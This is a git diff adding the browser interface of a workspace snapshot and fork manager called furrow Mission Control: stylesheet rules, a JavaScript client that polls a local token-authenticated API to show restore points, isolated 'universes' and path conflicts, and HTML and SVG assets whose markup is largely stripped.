margin: 5px 0 0 31px; overflow-wrap: anywhere; color: var(--ink-soft); font-size: 9.5px; line-height: 1.4; } +.event-meaning { margin-top: 2px; color: var(--ink-faint); } + +.mobile-tabs { display: none; } +.inspector { + z-index: var(--z-dialog); + width: min(700px, calc(100vw - 32px)); + max-height: calc(100vh - 40px); + padding: 0; + border: 0; + border-radius: 8px; + background: var(--surface); + color: var(--ink); + box-shadow: 0 16px 48px oklch(0.12 0.02 255 / 0.28); +} +.inspector::backdrop { background: oklch(0.12 0.02 255 / 0.48); } +.dialog-bar { min-height: 64px; display: flex; align-items: center; justify-content: space-between; padding: 0 14px 0 19px; border-bottom: 1px solid var(--line); } +.dialog-context { display: block; color: var(--ink-faint); font-size: 10px; } +.dialog-bar h2 { margin: 3px 0 0; font-size: 17px; font-weight: 670; text-wrap: balance; } +.dialog-body { max-height: calc(100vh - 184px); overflow: auto; padding: 16px 19px; } +.dialog-actions { min-height: 60px; display: flex; align-items: center; justify-content: flex-end; gap: 8px; padding: 10px 15px; border-top: 1px solid var(--line); background: var(--surface-raised); } +.command-button { min-height: 34px; display: inline-flex; align-items: center; gap: 7px; padding: 0 12px; border: 1px solid var(--line-strong); border-radius: 5px; background: var(--surface); cursor: pointer; font-weight: 610; font-size: 11px; } +.command-button:hover { background: var(--canvas); } +.command-button.primary { border-color: oklch(0.59 0.15 252); background: oklch(0.56 0.15 252); color: oklch(0.98 0.004 250); } +.command-button.primary:hover { background: oklch(0.61 0.15 252); } +.command-button.danger { border-color: var(--conflict); color: var(--conflict); } +.command-button:disabled { opacity: 0.46; cursor: not-allowed; } +.command-button[aria-busy="true"] svg { animation: spin 700ms linear infinite; } +.change-list { margin: 0; padding: 0; list-style: none; border-top: 1px solid var(--line); } +.change-list li { display: grid; grid-template-columns: 70px minmax(0,1fr); gap: 8px; padding: 9px 4px; border-bottom: 1px solid var(--line); } +.change-list span { color: var(--ink-faint); font: 9px var(--mono); } +.change-list code { overflow-wrap: anywhere; } +.dialog-summary { max-width: 65ch; margin: 0 0 14px; color: var(--ink-soft); line-height: 1.5; text-wrap: pretty; } +.dialog-id { display: block; padding: 9px; border-radius: 4px; background: var(--canvas); overflow-wrap: anywhere; } +.detail-list { display: grid; grid-template-columns: 116px minmax(0, 1fr); margin: 0; border-top: 1px solid var(--line); } +.detail-list dt, .detail-list dd { margin: 0; padding: 9px 4px; border-bottom: 1px solid var(--line); } +.detail-list dt { color: var(--ink-faint); font-size: 10px; } +.detail-list dd { overflow-wrap: anywhere; color: var(--ink-soft); font: 10px/1.45 var(--mono); } +.toast { z-index: var(--z-toast); position: fixed; right: 16px; bottom: 16px; max-width: 380px; padding: 10px 13px; border-radius: 5px; background: var(--header); color: white; opacity: 0; transform: translateY(6px); pointer-events: none; transition: opacity 160ms ease, transform 160ms ease; } +.toast.visible { opacity: 1; transform: translateY(0); } +.toast.error { background: var(--conflict); } +.spinning svg { animation: spin 700ms linear infinite; } +.tooltip { z-index: 50; position: fixed; left: 0; top: 0; width: max-content; max-width: min(320px, calc(100vw - 16px)); padding: 7px 9px; border-radius: 4px; background: oklch(0.92 0.008 250); color: oklch(0.16 0.015 255); font-size: 10.5px; font-weight: 540; line-height: 1.35; box-shadow: 0 4px 10px oklch(0.05 0.01 255 / 0.35); opacity: 0; visibility: hidden; pointer-events: none; } +.tooltip.visible { opacity: 1; visibility: visible; } + +@keyframes spin { to { transform: rotate(360deg); } } + +@media (max-width: 1080px) { + .mission-grid { grid-template-columns: 238px minmax(520px, 1fr); } + .event-pane { grid-column: 1 / -1; border-left: 0; border-top: 7px solid var(--canvas); } + .event-list { max-height: 250px; display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); } + .event-item:nth-child(odd) { border-right: 1px solid var(--line); } +} + +@media (max-width: 760px) { + .topbar { height: 58px; grid-template-columns: 1fr auto; padding: 0 11px; } + .brand-block span:last-child, .workspace-title { display: none; } + .connection { font-size: 0; } + .mobile-tabs { height: 44px; display: grid; grid-template-columns: repeat(3, 1fr); border-bottom: 1px solid var(--line); background: var(--surface); } + .mobile-tabs button { display: flex; align-items: center; justify-content: center; gap: 7px; border: 0; border-right: 1px solid var(--line); background: transparent; color: var(--ink-faint); font-size: 10.5px; } + .mobile-tabs button[aria-pressed="true"] { color: var(--ink); box-shadow: inset 0 -2px var(--action); } + .mobile-tabs svg { width: 14px; height: 14px; } + .status-rail { min-height: 56px; grid-template-columns: repeat(4, 1fr); } + .status-rail > div { padding: 8px 5px; text-align: center; } + .status-rail strong { font-size: 14px; } + .head-stat { display: none; } + .mission-grid { min-height: calc(100vh - 158px); display: block; } + [data-pane] { display: none; border: 0; } + body[data-view="universes"] [data-pane="universes"], body[data-view="timeline"] [data-pane="timeline"], body[data-view="events"] [data-pane="events"] { display: block; } + .timeline-list, .event-list { max-height: calc(100vh - 218px); } + .event-list { display: block; } + .event-item:nth-child(odd) { border-right: 0; } + .universe-table { min-width: 610px; } + .legend { display: none; } + .conflict-lane { grid-template-columns: minmax(105px, 0.8fr) minmax(180px, 1.5fr); } + .claim-label { grid-column: 1 / -1; justify-self: start; } + .timeline-actions { opacity: 1; } + .toast { left: 11px; right: 11px; bottom: 11px; max-width: none; } +} + +@media (prefers-reduced-motion: reduce) { + *, *::before, *::after { scroll-behavior: auto !important; transition-duration: 0s !important; } + .spinning svg, .command-button[aria-busy="true"] svg { animation: none; } +} diff --git a/engine/furrow-core/ui/app.js b/engine/furrow-core/ui/app.js new file mode 100644 index 0000000000..6b4691b254 --- /dev/null +++ b/engine/furrow-core/ui/app.js @@ -0,0 +1,508 @@ +"use strict"; + +const state = { + token: "", + status: null, + timeline: [], + forks: [], + events: [], + cursor: null, + config: { merge_apply: false, poll_interval_ms: 5000 }, + refreshing: false, +}; + +const $ = (selector) => document.querySelector(selector); +const elements = { + workspace: $("#workspace-name"), connection: $("#connection-state"), protection: $("#protection-value"), + universeCount: $("#universe-count"), conflictCount: $("#conflict-count"), snapshotCount: $("#snapshot-count"), + head: $("#head-value"), timelineCount: $("#timeline-count"), timeline: $("#timeline-list"), forks: $("#fork-table"), + lanes: $("#conflict-lanes"), laneSubtitle: $("#conflict-subtitle"), events: $("#event-list"), eventCursor: $("#event-cursor"), + inspector: $("#inspector"), dialogKicker: $("#dialog-kicker"), dialogTitle: $("#dialog-title"), + dialogBody: $("#dialog-body"), dialogActions: $("#dialog-actions"), toast: $("#toast"), tooltip: $("#tooltip"), +}; + +function icon(name) { + const svg = document.createElementNS("http://www.w3.org/2000/svg", "svg"); + const use = document.createElementNS("http://www.w3.org/2000/svg", "use"); + use.setAttribute("href", `/assets/icons.svg#${name}`); + svg.append(use); + return svg; +} + +function button(name, label, handler, extraClass = "icon-button") { + const control = document.createElement("button"); + control.type = "button"; + control.className = extraClass; + control.setAttribute("aria-label", label); + control.dataset.tooltip = label; + control.append(icon(name)); + control.addEventListener("click", (event) => { event.stopPropagation(); handler(control); }); + return control; +} + +function extractToken() { + const fragment = new URLSearchParams(location.hash.slice(1)); + const launchToken = fragment.get("token"); + if (launchToken) { + sessionStorage.setItem("furrow-ui-token", launchToken); + history.replaceState(null, "", location.pathname); + } + state.token = sessionStorage.getItem("furrow-ui-token") || ""; + if (!state.token) throw new Error("Mission Control capability is missing. Reopen it with `furrow ui`."); +} + +async function api(path, options = {}) { + const headers = new Headers(options.headers || {}); + headers.set("Authorization", `Bearer ${state.token}`); + if (options.method === "POST") { + headers.set("Content-Type", "application/json"); + headers.set("X-Furrow-UI", "1"); + } + const response = await fetch(path, { ...options, headers, cache: "no-store" }); + const payload = await response.json().catch(() => ({})); + if (!response.ok) { + const error = new Error(payload.error?.message || `Request failed (${response.status})`); + error.code = payload.error?.code; + error.remedy = payload.error?.remedy; + throw error; + } + return payload; +} + +const post = (path, body) => api(path, { method: "POST", body: JSON.stringify(body) }); + +async function refresh() { + if (state.refreshing || document.hidden) return; + state.refreshing = true; + $("#refresh-button").classList.add("spinning"); + try { + const bootstrapping = state.status === null; + const eventPath = state.cursor ? `/api/v1/events?limit=100&after=${encodeURIComponent(state.cursor)}` : "/api/v1/events?limit=100"; + const [status, timeline, forks, eventPage, config] = await Promise.all([ + api(bootstrapping ? "/api/v1/status?fidelity=true" : "/api/v1/status"), + api("/api/v1/timeline?limit=100"), + api("/api/v1/forks"), + api(eventPath), + bootstrapping ? api("/api/v1/config") : Promise.resolve(state.config), + ]); + state.status = bootstrapping ? status : { ...state.status, status }; + state.timeline = timeline; + state.forks = forks; + state.config = config; + if (!eventPage.cursor_found) { + state.cursor = null; + state.events = []; + } else { + state.events.push(...eventPage.events.filter((event) => !state.events.some((item) => item.event_id === event.event_id))); + state.events = state.events.slice(-100); + if (eventPage.events.length) state.cursor = eventPage.events.at(-1).cursor; + } + render(); + elements.connection.className = "connection online"; + elements.connection.lastChild.textContent = " Live"; + } catch (error) { + elements.connection.className = "connection error"; + elements.connection.lastChild.textContent = " Disconnected"; + toast(error.message, true); + } finally { + state.refreshing = false; + $("#refresh-button").classList.remove("spinning"); + } +} + +function render() { + renderSummary(); + renderTimeline(); + renderForks(); + renderConflictLanes(); + renderEvents(); +} + +function renderSummary() { + const status = state.status?.status || {}; + const path = status.workspace || "Workspace"; + elements.workspace.textContent = path.split("/").filter(Boolean).at(-1) || path; + elements.workspace.dataset.tooltip = `Source folder: ${path}`; + elements.protection.textContent = status.watcher_running ? "Live" : "Manual"; + elements.universeCount.textContent = String(state.forks.length); + const conflicts = new Set(state.forks.flatMap((fork) => fork.conflict_paths || [])).size; + elements.conflictCount.textContent = String(conflicts); + elements.snapshotCount.textContent = String(status.snapshots || state.timeline.length); + elements.head.textContent = status.head ? status.head.slice(0, 16) : "none"; + elements.head.dataset.tooltip = status.head ? `Full snapshot ID: ${status.head}` : "No snapshot yet"; +} + +function renderTimeline() { + elements.timeline.replaceChildren(); + elements.timelineCount.textContent = `${state.timeline.length} points`; + if (!state.timeline.length) { + elements.timeline.append(empty("No restore points yet")); + return; + } + for (const snapshot of state.timeline) { + const current = snapshot.id === state.status?.status?.head; + const item = document.createElement("article"); + item.className = `timeline-item ${snapshot.materialization?.grade === "exact" ? "" : "partial"} ${current ? "current" : ""}`; + item.tabIndex = 0; + item.setAttribute("role", "button"); + item.setAttribute("aria-label", `Inspect restore point ${snapshotTitle(snapshot)}`); + item.dataset.tooltip = current ? "Inspect the current restore point" : "Inspect this restore point and preview restoring it"; + item.addEventListener("click", () => inspectSnapshot(snapshot)); + item.addEventListener("keydown", (event) => { + if (event.key === "Enter" || event.key === " ") { + event.preventDefault(); + inspectSnapshot(snapshot); + } + }); + const stem = document.createElement("span"); stem.className = "timeline-stem"; stem.append(document.createElement("i")); + const copy = document.createElement("div"); copy.className = "timeline-copy"; + const title = document.createElement("strong"); title.textContent = snapshotTitle(snapshot); + if (current) { const badge = document.createElement("span"); badge.className = "current-badge"; badge.textContent = "Current"; title.append(badge); } + const meta = document.createElement("div"); meta.className = "timeline-meta"; + for (const value of [relativeTime(snapshot.sealed_at), triggerLabel(snapshot.trigger), snapshot.materialization?.grade, snapshot.id.slice(0, 8)]) { + const span = document.createElement("span"); span.textContent = value; meta.append(span); + } + copy.append(title, meta); + const actions = document.createElement("div"); actions.className = "timeline-actions"; + actions.append(button(snapshot.pinned ? "pin-off" : "pin", snapshot.pinned ? "Unpin restore point" : "Keep this restore point permanently", () => togglePin(snapshot), snapshot.pinned ? "icon-button selected" : "icon-button")); + if (!current) actions.append(button("undo-2", "Preview restore to this point", () => previewRewind(snapshot))); + item.append(stem, copy, actions); + elements.timeline.append(item); + } +} + +function renderForks() { + elements.forks.replaceChildren(); + if (!state.forks.length) { + const row = document.createElement("tr"); row.className = "empty-row"; + const cell = document.createElement("td"); cell.colSpan = 5; cell.textContent = "No active universes"; row.append(cell); elements.forks.append(row); return; + } + for (const fork of state.forks) { + const row = document.createElement("tr"); + const nameCell = document.createElement("td"); + const name = document.createElement("div"); + name.className = `fork-name ${fork.radar_stale ? "stale" : fork.conflicts ? "conflicted" : ""}`; + const entityIcon = document.createElement("span"); entityIcon.className = "entity-icon universe-icon"; entityIcon.append(icon("folder-git-2")); + const text = document.createElement("div"); + const strong = document.createElement("strong"); strong.textContent = fork.name; + const kind = document.createElement("span"); kind.className = "entity-kind"; kind.textContent = "Isolated universe"; + text.append(strong, kind); name.append(entityIcon, text); name.dataset.tooltip = `${fork.name} is an isolated copy of the source folder`; nameCell.append(name); + const stateCell = document.createElement("td"); + const badge = document.createElement("span"); + badge.className = `state-badge ${fork.radar_stale ? "stale" : fork.conflicts ? "conflict" : "clear"}`; + const badgeIcon = fork.radar_stale ? "triangle-alert" : fork.conflicts ? "triangle-alert" : "check"; + badge.append(icon(badgeIcon), document.createTextNode(fork.radar_stale ? "Offline" : fork.conflicts ? `${fork.conflicts} collision${fork.conflicts === 1 ? "" : "s"}` : "Clear")); + badge.dataset.tooltip = fork.radar_stale + ? "furrow cannot currently read this universe; its last sealed state is preserved" + : fork.conflicts + ? "This universe and at least one other universe changed the same path differently" + : "No other active universe changed the same path differently"; + stateCell.append(badge); + const cost = document.createElement("td"); cost.className = "cost-cell"; cost.textContent = `${formatTier(fork.tier)} · ${fork.elapsed_ms} ms`; cost.dataset.tooltip = `furrow created this isolated workspace in ${fork.elapsed_ms} ms using ${formatTierLong(fork.tier)}`; + const head = document.createElement("td"); head.className = "head-cell"; const headCode = document.createElement("code"); headCode.textContent = fork.head_snapshot.slice(0, 12); headCode.dataset.tooltip = `Latest universe snapshot: ${fork.head_snapshot}`; head.append(headCode); + const actions = document.createElement("td"); const actionSet = document.createElement("div"); actionSet.className = "row-actions"; + actionSet.append( + button("info", `About ${fork.name}`, () => inspectUniverse(fork)), + button("file-diff", "Inspect changes", () => inspectFork(fork)), + button("git-merge", "Preview merge", () => previewMerge(fork)), + button("trash-2", "Discard universe", () => confirmDiscard(fork)), + ); + actions.append(actionSet); row.append(nameCell, stateCell, cost, head, actions); elements.forks.append(row); + } +} + +function renderConflictLanes() { + elements.lanes.replaceChildren(); + const paths = new Map(); + for (const fork of state.forks) for (const path of fork.conflict_paths || []) { + if (!paths.has(path)) paths.set(path, []); + paths.get(path).push(fork); + } + elements.laneSubtitle.textContent = paths.size ? `${paths.size} overlapping path${paths.size === 1 ? "" : "s"}` : "No overlapping changes"; + if (!paths.size) { elements.lanes.append(empty("Every active universe has a clear lane")); return; } + for (const [path, forks] of paths) { + const lane = document.createElement("div"); lane.className = "conflict-lane"; + const pathEntity = document.createElement("div"); pathEntity.className = "path-entity"; pathEntity.dataset.tooltip = `Every named universe changed this file differently`; + const pathIcon = document.createElement("span"); pathIcon.className = "entity-icon file-icon"; pathIcon.append(icon("file-code-2")); + const code = document.createElement("code"); code.textContent = path; + pathEntity.append(pathIcon, code); + const track = document.createElement("div"); track.className = "lane-track"; track.setAttribute("aria-label", forks.map((fork) => fork.name).join(", ")); + forks.forEach((fork) => { + const branch = document.createElement("span"); branch.className = "lane-branch"; branch.dataset.tooltip = `${fork.name} has its own version of ${path}`; + const node = document.createElement("i"); node.className = "lane-node"; + const label = document.createElement("span"); label.textContent = fork.name; + branch.append(node, label); track.append(branch); + }); + const claim = document.createElement("span"); claim.className = "claim-label"; + const related = [...state.events].reverse().find((event) => event.path.display === path && event.state !== "resolved"); + claim.textContent = related?.claim_state === "covered" ? "claim exists" : "unclaimed"; + claim.dataset.tooltip = related?.claim_state === "covered" ? "At least one agent declared intent to work on this path" : "No agent declared intent to work on this path"; + lane.append(pathEntity, track, claim); elements.lanes.append(lane); + } +} + +function renderEvents() { + elements.events.replaceChildren(); + elements.eventCursor.textContent = `${state.events.length} event${state.events.length === 1 ? "" : "s"}`; + if (!state.events.length) { elements.events.append(empty("No conflict transitions")); return; } + for (const event of [...state.events].reverse()) { + const item = document.createElement("article"); item.className = `event-item ${event.state}`; + const line = document.createElement("div"); line.className = "event-line"; + const eventIcon = document.createElement("span"); eventIcon.className = "event-icon"; eventIcon.append(icon(event.state === "resolved" ? "check" : "triangle-alert")); + const title = document.createElement("strong"); title.textContent = `${event.state === "resolved" ? "Conflict resolved" : "Conflict detected"} · ${relativeTime(event.occurred_at)}`; + line.append(eventIcon, title); + const path = document.createElement("div"); path.className = "event-path"; path.dataset.tooltip = `Changed file · raw path bytes: ${event.path.bytes_hex}`; + const pathIcon = document.createElement("span"); pathIcon.className = "entity-icon file-icon"; pathIcon.append(icon("file-code-2")); + const pathCode = document.createElement("code"); pathCode.textContent = event.path.display; + path.append(pathIcon, pathCode); + const forks = document.createElement("div"); forks.className = "event-forks"; forks.textContent = `Between ${event.forks.map((fork) => fork.name).join(" and ")}`; + const meaning = document.createElement("div"); meaning.className = "event-meaning"; meaning.textContent = event.state === "resolved" ? "These universes no longer overlap on this path" : `Both changed this path differently · ${event.claim_state === "covered" ? "claim exists" : "unclaimed"}`; + item.append(line, path, forks, meaning); elements.events.append(item); + } +} + +function inspectUniverse(fork) { + const body = document.createDocumentFragment(); + const summary = document.createElement("p"); summary.className = "dialog-summary"; + summary.textContent = `${fork.name} is a complete isolated copy of the source folder. Its files stay separate until you merge or discard this universe.`; + body.append(summary, detailList([ + ["Type", "Isolated universe"], + ["Location", fork.destination], + ["Universe ID", fork.fork_id], + ["Started from", fork.base_snapshot], + ["Latest snapshot", fork.head_snapshot], + ["Contents", `${fork.files} files · ${fork.directories} folders · ${formatBytes(fork.logical_bytes)}`], + ["Creation", `${formatTierLong(fork.tier)} · ${fork.elapsed_ms} ms`], + ["Overlap", fork.conflicts ? `${fork.conflicts} collision${fork.conflicts === 1 ? "" : "s"}` : "No overlapping paths"], + ])); + openDialog("Universe details", fork.name, body, []); +} + +function inspectSnapshot(snapshot) { + const current = snapshot.id === state.status?.status?.head; + const body = document.createDocumentFragment(); + const summary = document.createElement("p"); summary.className = "dialog-summary"; + summary.textContent = current + ? "This is the source folder's current sealed state." + : "Inspect this sealed state before previewing any changes to the source folder."; + body.append(summary, detailList([ + ["Snapshot", snapshot.id], + ["Created", `${new Date(snapshot.sealed_at * 1000).toLocaleString()} · ${relativeTime(snapshot.sealed_at)}`], + ["Reason", triggerLabel(snapshot.trigger)], + ["Capture", snapshot.materialization?.grade || "unknown"], + ["Retention", snapshot.pinned ? "Pinned permanently" : "Normal retention"], + ["Position", current ? "Current source state" : "Earlier restore point"], + ])); + const pin = commandButton(snapshot.pinned ? "pin-off" : "pin", snapshot.pinned ? "Unpin restore point" : "Pin restore point", async (control) => { + await guarded(control, async () => { + await post("/api/v1/pins", { snapshot: snapshot.id, pinned: !snapshot.pinned }); + elements.inspector.close(); toast(snapshot.pinned ? "Restore point unpinned" : "Restore point pinned"); await refresh(); + }); + }); + const actions = [pin]; + if (!current) actions.push(commandButton("undo-2", "Preview restore", () => { + elements.inspector.close(); + previewRewind(snapshot); + }, "primary")); + openDialog("Restore point details", snapshotTitle(snapshot), body, actions); +} + +async function inspectFork(fork) { + try { + const diff = await post("/api/v1/diff", { target: fork.name }); + const body = document.createDocumentFragment(); + const summary = document.createElement("p"); summary.className = "dialog-summary"; + summary.textContent = `${diff.changes.length} path${diff.changes.length === 1 ? "" : "s"} differ from the source folder.`; + body.append(summary, changeList(diff.changes)); + openDialog("Universe changes", fork.name, body, []); + } catch (error) { toast(error.message, true); } +} + +async function previewRewind(snapshot) { + try { + const plan = await post("/api/v1/rewind/plan", { snapshot: snapshot.id, paths: [] }); + const body = document.createDocumentFragment(); + const summary = document.createElement("p"); summary.className = "dialog-summary"; + summary.textContent = plan.changes.length + ? `${plan.changes.length} path${plan.changes.length === 1 ? "" : "s"} will change. furrow creates a complete undo point before restoring anything.` + : "The source folder already matches this restore point. Rewind would not change any files."; + const id = document.createElement("code"); id.className = "dialog-id"; id.textContent = snapshot.id; + body.append(summary, id, changeList(plan.changes)); + const apply = commandButton("undo-2", "Restore this point", async (control) => { + await guarded(control, async () => { + await post("/api/v1/rewind/apply", { snapshot: snapshot.id, confirm_snapshot: snapshot.id, preview_digest: plan.preview_digest, paths: [], sqlite_consistent: false }); + elements.inspector.close(); toast("furrow restored the workspace"); await refresh(); + }); + }, "primary"); + apply.disabled = plan.changes.length === 0; + openDialog("Rewind preview", snapshot.label || snapshot.id.slice(0, 12), body, [apply]); + } catch (error) { toast(error.message, true); } +} + +async function previewMerge(fork) { + try { + const preview = await post("/api/v1/merge/preview", { fork: fork.name }); + const body = document.createDocumentFragment(); + const summary = document.createElement("p"); summary.className = "dialog-summary"; + summary.textContent = preview.conflicts.length ? `${preview.conflicts.length} conflict${preview.conflicts.length === 1 ? "" : "s"} must be resolved before merge.` : `${preview.changes} change${preview.changes === 1 ? "" : "s"} can merge cleanly.`; + body.append(summary, changeList(preview.conflicts.map((conflict) => ({ action: conflict.kind, path: decodeByteArray(conflict.path) })))); + const actions = []; + if (!preview.conflicts.length) { + const apply = commandButton("git-merge", "Merge verified result", async (control) => { + await guarded(control, async () => { + await post("/api/v1/merge/apply", { fork: fork.name, preview_digest: preview.preview_digest }); + elements.inspector.close(); toast("furrow merged the verified universe"); await refresh(); + }); + }, "primary"); + apply.disabled = !state.config.merge_apply; + apply.title = state.config.merge_apply ? "" : "Restart furrow ui with --merge-check to enable merge"; + actions.push(apply); + } + openDialog("Merge preview", fork.name, body, actions); + } catch (error) { toast(error.message, true); } +} + +function confirmDiscard(fork) { + const body = document.createDocumentFragment(); + const summary = document.createElement("p"); summary.className = "dialog-summary"; summary.textContent = "The universe directory and its independent timeline will be removed. The source workspace is not changed."; + const id = document.createElement("code"); id.className = "dialog-id"; id.textContent = fork.fork_id; body.append(summary, id); + const discard = commandButton("trash-2", "Discard universe", async (control) => { + await guarded(control, async () => { + await post("/api/v1/forks/discard", { fork_id: fork.fork_id, confirm_fork_id: fork.fork_id }); + elements.inspector.close(); toast("furrow discarded the universe"); await refresh(); + }); + }, "danger"); + openDialog("Discard universe", fork.name, body, [discard]); +} + +async function togglePin(snapshot) { + try { + await post("/api/v1/pins", { snapshot: snapshot.id, pinned: !snapshot.pinned }); + toast(snapshot.pinned ? "Restore point unpinned" : "Restore point pinned"); await refresh(); + } catch (error) { toast(error.message, true); } +} + +function changeList(changes) { + const list = document.createElement("ul"); list.className = "change-list"; + if (!changes?.length) { const item = document.createElement("li"); item.textContent = "No path changes"; list.append(item); return list; } + for (const change of changes) { + const item = document.createElement("li"); const action = document.createElement("span"); action.textContent = change.action; const path = document.createElement("code"); path.textContent = change.path; item.append(action, path); list.append(item); + } + return list; +} + +function detailList(rows) { + const list = document.createElement("dl"); list.className = "detail-list"; + for (const [label, value] of rows) { + const term = document.createElement("dt"); term.textContent = label; + const detail = document.createElement("dd"); detail.textContent = value; + list.append(term, detail); + } + return list; +} + +function openDialog(kicker, title, body, actions) { + elements.dialogKicker.textContent = kicker; + elements.dialogTitle.textContent = title; + elements.dialogBody.replaceChildren(body); + elements.dialogActions.replaceChildren(...actions); + if (!elements.inspector.open) elements.inspector.showModal(); +} + +function commandButton(iconName, label, handler, variant = "") { + const control = button(iconName, label, handler, `command-button ${variant}`.trim()); + control.append(document.createTextNode(label)); + return control; +} + +async function guarded(control, operation) { + control.disabled = true; + control.setAttribute("aria-busy", "true"); + try { await operation(); } catch (error) { toast(error.remedy ? `${error.message}. ${error.remedy}` : error.message, true); } + finally { control.disabled = false; control.removeAttribute("aria-busy"); } +} + +function empty(message) { const element = document.createElement("div"); element.className = "conflict-empty"; element.textContent = message; return element; } +function relativeTime(seconds) { const delta = Math.max(0, Math.floor(Date.now() / 1000) - Number(seconds)); if (delta < 60) return `${delta}s ago`; if (delta < 3600) return `${Math.floor(delta / 60)}m ago`; if (delta < 86400) return `${Math.floor(delta / 3600)}h ago`; return `${Math.floor(delta / 86400)}d ago`; } +function triggerLabel(trigger) { + return ({ + initial: "Initial protection", manual: "Manual checkpoint", watcher: "Automatic checkpoint", + pre_rewind: "Before rewind", fork_base: "Universe started", agent_run: "Agent checkpoint", + merge_source: "Universe merge source", pre_merge: "Before merge", merge: "Merged universe", + claim: "Path claimed", release: "Path released", + })[trigger] || trigger.replaceAll("_", " "); +} +function snapshotTitle(snapshot) { + const label = snapshot.label; + if (!label) return triggerLabel(snapshot.trigger); + if (snapshot.trigger === "fork_base" && label.startsWith("fork base: ")) return `Universe started: ${label.slice(11)}`; + if (snapshot.trigger === "pre_merge" && label.startsWith("before merge from ")) return `Before merge: ${label.slice(18)}`; + if (snapshot.trigger === "merge_source" && label.startsWith("merge source for ")) return `Merge source: ${label.slice(17)}`; + return label; +} +function formatTier(tier) { return ({ "native-cow": "CoW", "atomic-copy": "Atomic copy", "streaming-copy": "Copy" })[tier] || tier; } +function formatTierLong(tier) { return ({ "native-cow": "native copy-on-write", "atomic-copy": "atomic filesystem copy", "streaming-copy": "streaming copy" })[tier] || tier; } +function formatBytes(bytes) { const value = Number(bytes || 0); if (value < 1024) return `${value} B`; if (value < 1024 ** 2) return `${(value / 1024).toFixed(1)} KiB`; if (value < 1024 ** 3) return `${(value / 1024 ** 2).toFixed(1)} MiB`; return `${(value / 1024 ** 3).toFixed(1)} GiB`; } +function decodeByteArray(value) { if (typeof value === "string") return value; if (!Array.isArray(value)) return "unknown"; return new TextDecoder("utf-8", { fatal: false }).decode(new Uint8Array(value)); } +function toast(message, error = false) { elements.toast.textContent = message; elements.toast.className = `toast visible ${error ? "error" : ""}`; clearTimeout(toast.timer); toast.timer = setTimeout(() => { elements.toast.className = "toast"; }, 3200); } + +let activeTooltip = null; +function showTooltip(trigger) { + const message = trigger?.dataset.tooltip; + if (!message) return; + activeTooltip?.removeAttribute("aria-describedby"); + activeTooltip = trigger; + elements.tooltip.textContent = message; + elements.tooltip.classList.add("visible"); + trigger.setAttribute("aria-describedby", "tooltip"); + const triggerRect = trigger.getBoundingClientRect(); + const tooltipRect = elements.tooltip.getBoundingClientRect(); + let top = triggerRect.top - tooltipRect.height - 8; + if (top < 8) top = triggerRect.bottom + 8; + const left = Math.min(Math.max(8, triggerRect.left + triggerRect.width / 2 - tooltipRect.width / 2), window.innerWidth - tooltipRect.width - 8); + elements.tooltip.style.left = `${left}px`; + elements.tooltip.style.top = `${top}px`; +} +function hideTooltip() { + activeTooltip?.removeAttribute("aria-describedby"); + activeTooltip = null; + elements.tooltip.classList.remove("visible"); +} + +$("#refresh-button").addEventListener("click", refresh); +$("#dialog-close").addEventListener("click", () => elements.inspector.close()); +elements.inspector.addEventListener("click", (event) => { if (event.target === elements.inspector) elements.inspector.close(); }); +document.addEventListener("pointerover", (event) => { + const trigger = event.target.closest?.("[data-tooltip]"); + if (trigger && trigger !== activeTooltip) showTooltip(trigger); +}); +document.addEventListener("pointerout", (event) => { + if (activeTooltip && !activeTooltip.contains(event.relatedTarget)) hideTooltip(); +}); +document.addEventListener("focusin", (event) => { + const trigger = event.target.closest?.("[data-tooltip]"); + if (trigger) showTooltip(trigger); +}); +document.addEventListener("focusout", (event) => { + if (activeTooltip && !activeTooltip.contains(event.relatedTarget)) hideTooltip(); +}); +window.addEventListener("resize", hideTooltip); +document.addEventListener("scroll", hideTooltip, true); +document.querySelectorAll(".mobile-tabs button").forEach((tab) => tab.addEventListener("click", () => { + document.body.dataset.view = tab.dataset.view; + document.querySelectorAll(".mobile-tabs button").forEach((button) => button.setAttribute("aria-pressed", String(button === tab))); +})); + +try { + extractToken(); + const poll = async () => { + await refresh(); + setTimeout(poll, state.config.poll_interval_ms); + }; + poll(); + document.addEventListener("visibilitychange", () => { if (!document.hidden) refresh(); }); +} catch (error) { + elements.connection.className = "connection error"; + elements.connection.lastChild.textContent = " Locked"; + toast(error.message, true); +} diff --git a/engine/furrow-core/ui/assets/geist-latin-wght-normal.woff2 b/engine/furrow-core/ui/assets/geist-latin-wght-normal.woff2 new file mode 100644 index 0000000000..991445d78a Binary files /dev/null and b/engine/furrow-core/ui/assets/geist-latin-wght-normal.woff2 differ diff --git a/engine/furrow-core/ui/assets/icons.svg b/engine/furrow-core/ui/assets/icons.svg new file mode 100644 index 0000000000..a583d3fc70 --- /dev/null +++ b/engine/furrow-core/ui/assets/icons.svg @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/engine/furrow-core/ui/index.html b/engine/furrow-core/ui/index.html new file mode 100644 index 0000000000..9178a591f2 --- /dev/null +++ b/engine/furrow-core/ui/index.html @@ -0,0 +1,93 @@ + + + + + + + furrow Mission Control + + + +
+
+ +
+ furrow + Mission Control +
+
+
+ +
Source folderLoading
+
+
+ Connecting + +
+
+ + + +
+
ProtectionChecking
+
Universes0
+
Collisions0
+
Restore points0
+
Current snapshot-
+
+ +
+ + +
+
+

Universes

+
ClearCollisionOffline
+
+
+ + + +
Isolated workspaceOverlapCreatedLatest snapshotActions
+
+
+

Overlapping paths

No overlapping changes
+
+
+
+ + +
+ + +
+
Inspect

Details

+ +
+
+
+ + +
